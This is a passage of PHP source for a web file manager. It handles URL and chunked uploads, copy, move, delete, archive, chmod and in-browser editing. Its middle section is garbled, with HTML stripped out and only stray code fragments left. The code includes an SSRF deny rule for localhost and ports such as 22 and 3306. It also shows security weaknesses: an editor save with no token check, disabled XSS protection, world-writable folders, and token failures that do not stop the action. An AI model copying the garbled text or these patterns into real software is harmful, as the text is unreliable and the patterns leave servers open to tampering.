$cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />

    ""

    :
    File size:
    MIME-type:
    :
    :
    :
    : %
    '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

     
     
         
    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    '. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = 